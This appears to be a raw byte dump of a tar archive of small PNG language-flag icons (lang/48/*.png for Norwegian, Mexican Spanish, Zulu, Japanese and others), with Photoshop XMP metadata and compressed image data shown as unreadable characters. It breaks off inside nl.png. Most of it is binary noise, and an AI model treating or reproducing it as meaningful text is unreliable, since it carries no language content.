IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:06FFA2AA71BE11E296B8B6DB2DF28BBA" xmpMM:InstanceID="xmp.iid:06FFA2A971BE11E296B8B6DB2DF28BBA" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>7�D�uIDATx��YklU�f����R�Bi��)^"(Qy���F`��$���/�?Ĩ1Fc�&&��F�J���!�(�i���nwwfv�z�����l�15fc�����8�;��sϹ+1�P�EF��i���$���YIE��x�+���O��Wf83�%I�A}A�쭍�C��|��M�K	yq�nЗG��t<�x�@u6Ɔ�K���4Z0���<&a����	�G�3Z��_3���i�$�Ր�c��SGO��G5`�B�FFS�9�aK۱����c�j,�-^1K����H�o@
�(d���6mhơ��І�"����8Ϝw��y�f����9�FKsw�j��峠�����V���}�"Ɠ��<��߇SX��V�Z�:��I'�OU'�s��\O��`����A�S��,�8YLC��%�1���)u�	M"*�@�<��s�e��{�lvp��'m-��0[��$�nT�!$�)
��c��娯	��o
��ݛ�"�C%Sp���\{�R8VԸ"LeӖB��n�!V���7��T���u�9 4���J�����nƒ5�8֍`���v�c��&�������t���'����ܾ5�t�F�MQ�lq�,��7!�FQ���:�x坓X���V�Ao
�~~}W�y_��&�BZC�WV�Ӑ�0� b?.�>��d�+���F\�ū�F_�Ԁ�A����N��V��P��eץt�҃�ߋ��jFwo���>r��#�R���݅�A������S7�>hi��mn��^t~y����:�X�G��y�����(���:��
�q��K���2���j�$mu���ln��#(�x �B�U>�×0�1�__4�Ϟ�:� h����
wSi���~}���0gׄMS)v/$	oY�F����9dzx���&�!�.�e��	i>Ipۀ���_%M�:E'�nj�ʣu��Q%���u�HiE��#�)�A�n��15�[���P4��!�Z4��L�����
�@.�����Y6���SA�gq�����3���>#�۶���3U�=U�p`����O��(d	Y9��11�X�L����xVz���ӳ�=##a��Q,]
���2��'���
��Q��1D(��U�">G<��f)���OO���rY�S�Lb0<)[FF����E=
�Ɇӈ�
���Gq��6��V�$ƛ�̕�Y���
f�1���{=�[o����a��0�?�XmԐ�^�ɒ3��R5M��=��`^5vmm!	QNlE�`��j9��aaN%1���mC�����K�.���nCrN*�}�%���A߀��+��.�eTS[����!���Bk{
^z�R�6K��^'-ΫaIJ�ed�S������G�a���x룳X�VCi�^l��ve�9~�p�s%�Uk18�֮��7><��w�c`hP:�(�-\?dzy��oF{~�ti=����y�MA�`!J:֭n����*�$�a�F��q~�摱�!�d���v��,�\�cǻ1gŻ�@����PEޡ}�Gx���ک�:�+��!e��yb��Q��=���4�����;[ZHQe�߅��0.v���U��*�)+�����l?�j�8�Spq)�.z9��~�"��T��̋�N����_;�������8h��M�E9ъ��?x�2�"���/���ﰿ�W0l��h���\m~��˝fQ�ά�ߤx48nıj(t�����!n����<g�y�'4J�̦�r�tb'Jx�l ��DI$�TZG���K/MK�!�_��3�ͱ�j}���T�H��KQ�YI��LB���~�4�i�i�[�
uE\HIEND�B`�lang/48/no.png000064400000001647151721413500007051 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F-IDATx�왽nA���]�I,@ !Q$BBBT(�@G4�
�<O��@B�H4� Ȗ	�o�R��Y�wm��Y�+Y��윙3��;wv��Pes��-,�����Z%�@�+?��k��\}��[^EQ_ۛǷغ{�μ|~�ZbG67�6��'ֺ���q}�����#@�K�� Zc�ݤ5��)�w/��N���vi�R�9�V����&��bY�L[$�1��Ǻ�/���d���>Stk�
	c�(Br�<ʢ���lL�$K@���KN�KV��F�|�8xE*���0�t�<1���A�ͱ\[,+B��](�e�x>.��% ZC�CX�C�Ų�z-�s6�� �Tr���\HjA�{b���?0l�l̸�_��G�T��b+�_�s��M���
�}�z��J��T�qS�4�X����:ܯ�x2�s@Z�x�5M�Jj��G����"p�ь�`*�~Hgw�W�Q7�A���l6g�B�^Y�Zq��}��AR�΄�1�uדZhB�9^�|�t7������L�.���(�_O_�X�~�Qϩz
��P�@��FJ�!�c����s��9&0Ж2�̹�F�A���$.$}�I�mT�Q�����
ʱw�ܪɬD�H�H)��gNQ���hz"3ɋE�Uk4��{�,R��崳[J���鰘R����>0O�<U!�R���B�4�fgi�
g�X��[\�b�����;�t:low	rY������V�*p8U�8�|V$����k�,v��K�������\��a*�n�|70IEND�B`�lang/48/es-mx.png000064400000003023151721413500007454 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MlTU��͛��L�iKiˇЊ��TA�b�#1IM\��P���111q�N67�P�D����@
Am��R��VARK�̴��q�q1�4�ʼ�6�=/7��y��9�����a6��,�9���+` ��g��E���5���&����K�N�E�L����2)a.<�=��0Kw�'?۷���p���Y���6_|�c�9��H��E�5q{A�|�ȍ)��
R���܈���`F�#"�!h(<Qx����D2��gSA�gb#�1c��
�ҬW{xZ�	���sK�q����
(�q��������|hW��ڛv��u|�ؠ�9����f@ۇ�\P������sp��w!�إ3�AD+z\Ri�����g��(E(23.�Hy�5���.F08���@�B��I::��Q���)|8��́�?q��EM4ݹ���n/�@�t�3��8�E��N΅��ք+1Vhw���`������W�{���Stv�m۹y�Sc�Ic�>��	Z_Q�M�u�'��8���R�O��=T�A�!>�&���m�6)c�	gdr$(�<6�i��x9�	�l&�a�4(�|������c�����8v�
9hU<�(eR�q�t'�f���|q�]���H�q$�p6�Ϲ�ݬ�m�
bò
10�J���E142H̊b�.a�� g>ދV2��aX�ུ����1��P9�D+*�CC���O���W��Jk����{�G����o�8Dݪ��5R�*��*4�G���0���v�M�+b��2g��
�2N�<K?/H��g��P^�js�խ���
�獲�����7�zt��|�žn���K*9��gq1ؼhMV��š����a��AU�bN�_��w�|�u��:��EO�GU�b�,G��X{����ի���o�Z��@0�K�K���B
Z���������0�{�<����	�^�7��(o��`t!�~�����qa�ɪy
t�xf)5H^�E��֠2���ޅt�&����Rd�}`Y�Jn��vz���1�9��GC�=G ����;�nY
��y�{�>B����1R�5)2��3�)���zs��G{���M��{s��?�8�5��SX���-@�p����� �7>E�����x~]��t
���~i���#�ւ�-T�,YGc�*~8wG��'�$�]�Vn"\�-��E��>A�݅*+kBJ+�@��NTP&�ʸ�1���j"�$w���S.�@&nH� b���Mm���d(k9�R2�5��2n	B�2�����#���1C���:��9�7[H��S_2�.�٭̘]>�s!+fH�P���bF"����h��帯	���篎�Q�/�(��
�hjg��n����L?���ܗ�9��S`F��%�a��3�IEND�B`�lang/48/zu.png000064400000004057151721413500007071 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pU���}�
!J�i��L;!�q�X@���PA�-�vPa2JhGjqtJ"�����P[J�H��th�@I	�{s_g��?���M�y؆�4kf�9s�:���^k��Zkng2�ͩ@;��w0���v"	�- ��	U1�I���&���)P���%���j�-��ۦ?}�R��<�=�Z	
�����d���tY��G����+��wG	@��+��Rr�}%<oec�˟�r��}p�N�����xv�K��
�Z�0�i
B��nl�Qr�h�����4@����Q���qt��5^7��[Nga�������#���ի,�"�Ltx�hPu/�Ņ���-%��j(���`��6\���m��p�Ic����9T(;�
����ĸ�x'hB�ҁh���G����셯�,fstHHH䉇��~9�6l��f@7�
}J
��}t߶%��#���g�f�C'4�-D�V���A1�{��ܻ_��s�R�u��@��M �6�5�4��ԂR=#q�D�&�Dq��>u��?@����+�9R�Y�9�BUT����"H�{�:W�D��>
��JS�+s�x�7x,�8����"��[�^d��)5���	 �Ӧ,LYYI��/Cz��1�ĖO<�tpr��Lʼn��r�5!�`4^�������3�I:~���� ��c
TU%�ˋ�?''�Xzz:n��Q#��������M����Ц���۶����ȝ�Gz���ɭ4l�3��HLD����=��?p�c]�t���6"�+]�B�I�=�<,(�_�+p�b��$�tbΓ��0�ް/on�_��B�t���:������m gÌ��~b���6�V`j0E�+�C��4�����\\�TshMiȍ:�����?�ua]�i
���R�r-�O7�[��z��j�ac��ȴ���
"t(=ᷡ{��L��������!}��H��55M"޺����\���
d�[
�>���u*��5��b�V@�qf}$���8[��qcL̳HM����>Ѹ�7>1�M���G3#���jՇ�CN�ʹ�
�>a��A�?�֥ _��jzs��t�7!�qPJ�8d���ůٌ����q����Ge(�h�R��P: ����#�L����#X�g���*��]����FJ��a8�s�WIM��K��3M�T�ԗ�m���cN,�lX �Q]�i!=������2XYd��m���+4��IH{5�Ɓӑ�B��HrZW��V�腉^ �F�V�r��xu���1x�uX��
�
	u����aZ���x���_���8ض�(E��E�c&���?{Cq䤂�*�������/�[��_�����…[X�jwۺP��4�7�R(�7�`�2��w,Z�p�!v�� ��hG2u܏X����'F�^Ξ=�p�l��۶RS�^H)ɢ_�1{����`��i�B$��::�LjXwt�Nќ�|���g��o���OrrB$QmӮ�T�>x�ⱉ�:��Ps⬂Ħ<q�S%�dȽ�x�5��ܗ����|y	�m��x]D�I��3��5��%��(+����-�ϋ���3��ͭ\8n3xHK��岱,j�9�e
<�<:���g��-?}32Y����W����­H�HNv]����i�="IH|-����Me��K�\.;�7l�II.��n\�m�P5K�>:uJ��_3�᩼W���6r�������R�h�4������+���Ì�X�n��;�s�I�p�y��I
s���N�y��/1���u�)yK)+�D׮Ɉ�ל�ϋ��TW7jJ�3�(|����l��}Ȫջ�RoSS�%9����Nh.�E�x)���F~�F��Էh���^����IEND�B`�lang/48/id.png000064400000001146151721413500007023 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n1@�l��HI+5BH#!��
�-�y���;B�8@����k�p؍��)H�
�H���Yk�g��bfx�
�2�;@�0F^�^�N�b�z�\.c���;��8�g�?���q�+�����$SLAzuݶ����m���}������ѩN���+S����gg�̐��C�{��w���<���9Xι��a)cM���>8(�?���4�k�$�oM-}�R�R� %(���E���1a��3m=P
k,E'c(��
u�
,F,:�8bZ��&U����N<0AQ�6i����T�|�
YQ��j�`��p�
!r7����F�R�z9c9�ڍJ]8�K3���< "���3�ǟ[;��!�(ڝ�����,�����;\����"����v��/��ChHd�#Ch��9��p4E��G��π�ԙ�߀OB{�4�ޞ$n��`���s�L��(fIEND�B`�lang/48/de.png000064400000001450151721413500007015 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왽n�0��/����q��:��!C� /�w��Rd/�mRb���:P��8��t��IGE�y<���H�2�=�=��@!"90�T&}vvT�F_����F��7)����ۇ8
!p~~���///��}��!T��x@ws�b{&����
�df�d���KOt�C�r���{k�33���	������{���C�e>&�tζ��2�hy�:��0A����&����#��Xщ��s�f�$��9G0]�8�p�%��3K��Q��J�4O��m���m+?��nPU>���)u]'���,QU~Ψ{h�&	UU��T�*�N�}R���=�΅�k8 �֤��I�8�Bx��kl��	��vèW�}�5�2ؚLA6D��B���Y�H׹����NlA��m2���$[�+�H�PTYv%ܤu$�ߌ�>`!���i/U���ЋB�H�c�y`�h�){�)��|)
l@LKw��g��Զr��`��:�m��ۏ����JY�3WC�h��xYag^�3''��B��O�R�8����󦗛>�
�����2��ɢ�S���y��XYLȄڪDDuHBY���J\:X��$`nB��E"�
�3��`@�3�� ��3�mb�������5�D����^��gl�ѡW�IEND�B`�lang/48/ja.png000064400000002000151721413500007007 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OhU�?owvgw3ۤkZ�n)MI]MmhioB�^
^�^ڣ���ՃQ�**�^E��x1�R��*�!�b�����d��lfޯ��m6kD33�28?�1oo�}g~���)!ʒ ����J�$`ɨ=:�k��b�6�M"2ŷxK�`荪�\�c9���'�����bAi4��ƹ�++37X�6
R;v�*>@򾭨dxl�*��,��o����,�.դ��}st�̡��[CYoW
S�Ed:�d��>gᣏAk�G����&
z�����PJ
 Z3���/�[����H?V���W ��y�.��{ؓ�7���y�Mǎ�^�^��@�2}��x����ٳ���1y�,���;H���]�=��S�Tgԧ�`�<��?k��5�-R�\f��/�v��,��b/���ũ.��B��.�+W;��.��CG�s�z�s���"�W-U�,�৸�/y�UT����ƿ�g�ѼQ��́	�Qd-��w�q��ޒo���Y��hi\����k'�`�Jd��uޅT:M߉q<Wh7V�C{��'_)���F��g��z����6���-m��Z���9BϓO�㮦
��B�gN��G�ED�[���^�91���o�'�&�|�?����>|�'�/>�p�%@����?�������^fۗ�P�l���ͪ`Y#7o�1��Iկ/�x�C�_M��mMdl${��Ǐ�ٿ/�Z�*�\nȘ�T��9��c��P�*c_�g�(���d�>�Y�C�/�:Z�f�^ZZ��,+RՈJ�B>�
�Bݔ��,���2Ah�땹����������F�-3�w�E�| O��	l`I�'�1�@��rgÍ1(5IEND�B`�lang/48/st.png000064400000003645151721413500007063 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:8F92AA36909B11E09874B1C8E553E1A0" xmpMM:InstanceID="xmp.iid:8F92AA35909B11E09874B1C8E553E1A0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:72BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�vQ]�IDATx��YAOA~��v�&-�"%��KKѤ��Q%�z�l�`��7L��`/�!j"��D%5p�@Fi������nۅ�-t�����tvf�oޛ7�f�d&$�>�>��CV�5���L��E��,}�q��=�'nW.�H����.@�p33��C]4�77�X�7=W��n�~'�s���ۼ�����l5�x���%����ے�qMltU�jM��]��D0g,�Q�5S�[�V_��a�?�/��m�
���nA�pz⿨�6};mk��QO��-V��[R�?�j��麉
�PW�`�j5�3��H'�:�� ҕtn@��p�,�}L��r!�W�F��t"4�t2���s08��O�� ]E�k��`[��L�|�MmA:������� �&|�2���sx:�D����M�u�'rz`oovvv���h�W
���attT��t�\�������MϤ������ �@ ��gҸP4EQ`aa��*�R)���red�B���`ss�JO�
��������xvv�k1�Yd�v^���G�P����E��X�q��Q“A�<���䚦q-�����l��r9Od��a(#vb�0�U����R���Ԕ�<�D�Ţ�@���"��밵����L&����yB9�B��B� <z��X�K��~�5���(�"nl�~����u-�4�B��~�gQa��+�����K4K�A*����4\�zsy@�D�g�d�.X*��Y��4�ʐҜ-�C�o�d�+"�*�|�R��pd�NJ~������d�vR��U��ʩS쳤�ݛYE�]L�+Z\�����G	J��](�U�t��$�����n~�,@wt�
�;tD�a�\��xT�v�I~�@�"��L��;@��"N)��qX�K}@@����WY z&IEND�B`�lang/48/sl.png000064400000002021151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oE�?3^�8v�6N(�*Q��RP%~��D��P��W�z���4����8�D{�J�PR�����8I��^;��
��G�v�;o��}o޼�l����� ���mx�o�Y�r����n��[F�Uz�Q���l�h�b1_f�
��"�f�8�T����{=4��O���D�X���K?qU���/�-��x�C�g���<��!)��^��[':���� ����O#|x�~�x�%R�h��ס��TD�����?��m��FU�:щ�Rh?��CJe�R���?��T�q���k�BT\ʡç����:��&�/����H��f��gh E�nj������UN�;Jm�v���mW����o�q���#�e\[��=7�m"}��ew�R���<��{�J�J����Gk�Gt�~������ÝGm9��i���@���*��x���}��Ks�;��p���C�4��2{�{��pj�ٞ16$�ͦ��-��8Mt5�:@kX{�7����('�ޠ���|�S�K?��w��3���a`���WȈU��0l
s$������x��g��*r���
Q�qd�����c�S3d�33e�?��û��[�f�a�}���=��?�7�����P�D�3ǡ���BvZ���ךxRmW�KE��G!)aS�m�?!�c�Z r`���*�(]`��D��1���V�F��Q��[��"�$L$�X�4Ƙ�0;x�]�VmZ�xU �UN�#
�:���ǃ����0�U�"��,����dK��g���E1�։7���L��ҢXY[�BQ��,|�+���¾sXݓ�.�.�.�����-������IEND�B`�lang/48/tg.png000064400000002206151721413500007037 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��Mh$E�U����d�Ͳ(*���� x؃�QAOz���7�(����"ēWQ\�xQ�5��$����d2]�]�<�|'K��,�q4]]�������׫*%"�Y49�	�	��;@�uϓ8�����3�o����}��\��=�Cre��q	`&��G�9�N-{�;�)�-��?�E���n�-�
�FO=3�nS�hrH�B�ZJ��ڣ��
�l�S
��9�s��WI���IR$I�?i��s`�����6�!C��d6w= �������{=�b
���5��s`L�,���VD��j.��n[.$��W�.�O2��-L|=+�M�z���{�|I
�\e����n~�[{'f	�~FXY������o��w�1�E�Ja�+ 1Q��~�h��K�r/���I�G|�L}��|g�x�ֈ��#1e�Q��B��y��w2��!�i�W|��W�Xy	�`o�#|��
5�q{K�o��f�ZuB��
i�
�ԃO=�Oҙ4(j�0K�I������KJ�Ou�P:@�����BG��2�.��]}_&�wu������-�ϋ�իG�	;^@T:Ap�
ӏ�����2ֹ�5I}	��IF��eR�
@qj=�"�ʽ�(�|��� 8�����3ł�l�1!���V?�z�]$�
[x�PmP��D�X���Z���'���<�:v�5T�>�h
;�*�=?�����o����mt�"��eH�#��񀵶Z(F�P �����:(��5���Y\�
��[D�cD�[�OBE�8<�4���_"<�(�p?a�n���wg��zjb��gǐ,���f�Y-�Jcɇ�!�9DgX��r��y����LO���A�j���rȒZ
�^;��Db���{��u#���g�����>�}�����lj��J����ؓ�c��ͺ́y�@{[�;���@)��l-�9�N�.�B��j7k�P�������,+�㥓�{��u59�����O�v���<l%IEND�B`�lang/48/ne.png000064400000003752151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx��{pTW�?g��#�M%���`�aQ��ԙ:Uk��J��`+("Q^�
(	4
�%�Z��T��X�F(1�@
1��H�w���8��i ���&<2�o���������~��gWH)��栛[�@J����6��|���f��"����nd�{�o�1P�[
p;����V=W��
_�pv�a����•��#O�O߽2�+�
~5�fH�v�شlL�拑����AZu)ߩP\�~�Q�F{njð0�i���e�V��^M)����>�:�hҍ��D@bZi�M�|����R&�Os��,�l�]���Ϭ~�Ӫ���i�a�a"
ݔ����i�k%�Ԫ9U�/m`q�/�.������~LӴ���bئ�fJ�D�L�1'�z�7�K��_p^9��v���V.bL36��kð�6C"u��Jx r���"��>�b�k�㋫5sB��=��k����e�C�@\M�tB8����+Mj���)��s.zF/��Tg���y@��ck�G,���Dj8�;Gs˲��s8�Xä́���4g%��A>�x�[V��u��'-\��xW�U�8��a�xƍ���+@����C8��%y�dR�>�kp&����d��Q��A��z�[�;�����[7��v�vl�ƶm�m�.�e�d~�}� �K��d��?i��a[D,�m�L�+X���S�>���d�=���xɳ�:�VqE �w?��q��U]�b�u�
g��vl&�w?&��A� ,���j�B��X#�*��T����%�ـ���[K^��=�6)���	�+�KB`����[:���+,l��f�6*�T�S���?Z����7+�"n�S�J�׼[U����qe�̏�S��z}�*bDc~�$i.v���9�H������?�38��E󎵦V	|��-�;�w5劉�,\��{�X��}�j��_���ɄҠQ�(t
e�#�Ԁ+t{���Ƴ�Wo�u���A7��R�׫߸|-�,�|軕'��w�,��%���_��^�x�B�L`��/��~��lֺ��w .�!�iK�Q��[�(�H���)�/�;= �,�ٓۥ��׵��Tש19�9��x�?S�g�g!��Ĺ#/��	ʤlr[�N���j�R�Pߨ�[�`Y�p�<�>4o�-��!)�y�`�/��D��F��ۍm�S��-/��G�
3��N"���BF
�5`'ټd
��?"�N-]:3A��aD[=�#��*
¥`�7���i��!���&$\�
�=�$��T����3�����>W�oʃ�)�=
���/�)�%��ߔ��֡
��#�>A(��]w2��,��a8���˚�/k2�~i(���x�PX.f�y-�f��~ߤo���oҷ��~���*\�ꇙ}5�|M ���.����6.s:c��62�\�03�rT��!����9m�2_�dzlx�q#u���\�03�r�F�B���݀���s��E�}��C�Zvɹ�afXǺ".��=�'\u�w���>1��]aW@�w".�OF]��h{�_�u͆&�m�n���:�
i[~�y����9���E�U��G�	歉�z�W�+�c��[:�n7�2:���M���Q����sN�E�;(t
��nTK�κZۑбJ��Z���Ϝ�H�!ui���Q���QT5�H$ —��z��(2Bx�1�I�W�Dj0%n�N�	�;vR�I���Ѹ!�pbw�p\6Z@4v\�:\�7�d��Eaw]_'��,���|JOo���d܀�7��w�c@0�S	?��oP�Bӈ�
����������X
�IEND�B`�lang/48/jw.png000064400000001146151721413500007047 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n1@�l��HI+5BH#!��
�-�y���;B�8@����k�p؍��)H�
�H���Yk�g��bfx�
�2�;@�0F^�^�N�b�z�\.c���;��8�g�?���q�+�����$SLAzuݶ����m���}������ѩN���+S����gg�̐��C�{��w���<���9Xι��a)cM���>8(�?���4�k�$�oM-}�R�R� %(���E���1a��3m=P
k,E'c(��
u�
,F,:�8bZ��&U����N<0AQ�6i����T�|�
YQ��j�`��p�
!r7����F�R�z9c9�ڍJ]8�K3���< "���3�ǟ[;��!�(ڝ�����,�����;\����"����v��/��ChHd�#Ch��9��p4E��G��π�ԙ�߀OB{�4�ޞ$n��`���s�L��(fIEND�B`�lang/48/sk.png000064400000002500151721413500007037 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YlUE�3��.�JK��!�������x1$V�"Hx_T�%�K�1�h4�Mx�ą&&��Q"�%akY�A�v�9������r���4��K&'gf�7�|�|�
�4NEE�w
���g!�B�)"���+U��YlA��*��P@@��%:�:'�%��)Y����s����;�0DR)�"$5���D�[��>��ol<�F(�wN=����3i¶M+y0@�E��==��A�
�UU�kj0��1���o��ۿ���k�a|���<�,�龞`�cp(C:0����A�(^'��j�VK��R)j�كN&ɴ��k���V�Hs�k(�:��ȉ`&�L�Yհ`�#2�d�
��uH�P�s:���dկ���!5��;�dP�!�pQ���G�<���ܪ��XPj�s�?�T�q�"$c(Y��̅�˗�uu(���zp�("��@���G�&��m��0��l�8�q9';+��(]}?U;v�s���y��ۇ�|Њ{�=��H�%
o�#����q\�KO:����C�����	2mm��Z���O������b:;�T
�B�(?�s��~���,�0�<4�*"�s�=¿�Z����ga<�B;��D-͐H�ֱ�D��Y��9���E\n�_|�u"T$K�C��tT���y ,����p�3PZǮ��yKΓvB�Za�d?h=��w?c��X��q���h����_���.Nzu<:x�򏾤��v�m�����5րq8VԄmZ���s$ŚG���L��G��A�����ҩ*i���E������Z��%��LoW���A��Y��u��čk"q�OG�(ٰ�d�࢐Kz&���3\ҳ �{�9�������V6� ֌:��3

���x?��|�6�ߊ ���*���>t𵵬�T��+{ ���P���X|��2{�H���n+w?ϯo�����t_@Y�������X��F��G.�S��W�a��¨���4�n����|�Z�7����l��b�`��
G!,m]��T��#A0m%˗�=�	��Q��M��ܹ�VY�1,�xq��U�kM�I���_�k'��c��
��8���t��H&P���dgB�����ʂ,�X���B,Y�V�&|7pB�̠��	B`@o����*�3����J�IEND�B`�lang/48/ig.png000064400000001415151721413500007025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�lang/48/mr.png000064400000002174151721413500007047 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/da.png000064400000001451151721413500007012 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���j�@����Vݶ�*�7�Bћ��(�'��;��'�ދ �W
ږ�k�L2�x�����n;A�9�o��o&�9��4Y.-����N���������p}�qg8�����U�~5U����ډ�}s?VU��g�^���Ok�|�n�ݟ'�B��
�C��ֲs3f�W=_�!rp��{��S%X]���i�e�l�AU19�ܞ;M/�;�Y�[�̧i6g ̖KQ��I:Mx"�W����y�8-phb��z�F}bUb�+�Z�&��5�m�	=0�8Ac�5��.�EE����v�94�P{$�H���!!ʭ�C����U��@7F���|�"4��q�;����JN EO#�9h��\:�B�9���ߠ�G�`P�e�4�
a̙0�CU���X��GmD��A���[ŜC�/[O0'���]
l���T���)o�A��(���
*���t/�f�`^��tR���;:���/�Y�y��e�y�PM�Q��쨄9���eO,N
e�֩��Cʵ�A("��We��0H//���9��� .38��ޞ��K��3�،�F����j5�@q�d�*r�8D����c
Ձ��B�8��=b͒p��]�f�&:���- �w�M�N���ސ�^Z��&I��O}K�%����{�e��狎IEND�B`�lang/48/yo.png000064400000001415151721413500007055 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��AnAE_�'2�!�\	�p��)�p
��!8.��������=�L�`�vf4µ���_~uU�ۙC6�mO`O�'�0^�C2������o����z+/��{�=�Ë7w
��0��>��5>>}�5��O�0VUD�ﳟֈ1�|6�c�����~o��ɭ#T`\�QQYK�����ʽ����YT�EQ�)A"���`�H��-�z�Ms��@4%hE�U�{ d`��MfJ�U�@f�U[Q%�@���&S�10�A�̃Q@Rf1P��9�̃Q�* L�e,����L�w冼��C�=b�T@�U�	!�F���i,�r�뛷
!K�B��sUkׁiU��f�D
�)��W/�\��FK���5�H����a��
_����dmtӖ�n��U�t��B���C]�]�\��Km2Yig��\�V�*x牋/�4�8,�h��\�k��G�HB���7��}���X[5�����͜��V���M�.�B�̏Kl���frf9T���b�B_W5�C1�ܲ�|���g_rr�5�:�
.��u�5gs4>�ܙm1�L.&Y���o�@.n�9�>��7�}���_/-�!Y	�p���=�=�=�^�"��@��IEND�B`�lang/48/nl.png000064400000001173151721413500007040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��n1���n$�FB��'�w�Y8�H<�q��p@��{��sشu�M�
���ڳ�|�L�M%˂¥T����Xm�%IB�}��������X�ţ���2~���V�~y5�招�]Y�}�'c�c�ۣ�X��`���~���lfH¶O���t���ҽљ,��`3��B�G]�+��99(���qٺ� �.�.��"x�ňbW@��2Rr��P@��H	�
